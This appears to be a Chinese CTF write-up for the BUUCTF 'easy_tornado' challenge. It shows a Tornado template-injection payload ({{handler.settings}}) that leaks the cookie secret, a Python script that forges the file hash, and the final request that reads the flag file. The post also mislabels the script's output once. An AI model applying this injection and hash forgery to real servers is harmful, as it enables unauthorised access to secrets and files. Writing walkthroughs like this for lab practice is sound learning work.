zoukankan      html  css  js  c++  java
  • buuctf-web easy_tornado 1

    当我们打开网页的时候,看见了

     那我们都来查看一下吧。

     

     

     通过第一个条件我们得知,flag是存放在里的。

    而第二个条件说的render,它其实是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。

    而我们在hints里面看到的这个条件,猜测是需要构造file?filename=/fllllllllllllag.txt&filehash=?这个的。

    filehash后面的值是多少,首先我们得知道cookie_secret,把它找出来 ,就可以了。

    那我自己拼接了一个,结果就输出了这个‘

     这个其实就是一个注入点,这个就利用到了第二个条件了,需要模板注入。/error?msg={{handler.settings}}

    惊奇的发现了,cookie_secret

     那既然cookie_secret出来了,再根据以上条件,编写一个python脚本将最后filename的hash值给找出来:

    import hashlib
    
     
    def md5value(s):
        md5 = hashlib.md5() 
        md5.update(s) 
        return md5.hexdigest()
    
     
    def encode(): 
        filename = '/fllllllllllllag'
        cookie_s ="26c5d178-38d8-4123-b5c8-3bfc2cff0903"
        print(md5value(filename.encode('utf-8')))
        x=md5value(filename.encode('utf-8'))
        y=cookie_s+x
        print(md5value(y.encode('utf-8')))
     
     
    encode()

    跑一下这个脚本,最后得到了26c5d178-38d8-4123-b5c8-3bfc2cff0903

    构造最终脚本:

    http://04f10c8d-3e96-47ef-8b81-4be5a82e672b.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=de81fb1e6414ae515857757e315fb520

    这样便可以拿到flag

  • 相关阅读:
    py pandas
    wxPython 创建基本窗口
    js 动态修改页面文本字体
    uniapp 万年历
    uniapp设置不同的主题(Theme)
    flutter 插件调用callback函数
    题解:[SDOI2009]HH的项链
    模板:线段树(2)——加法,乘法,求和
    模板:KMP算法
    模板:单源最短路径。堆优化的dijkstra。
  • 原文地址:https://www.cnblogs.com/awsole/p/13820109.html
Copyright © 2011-2022 走看看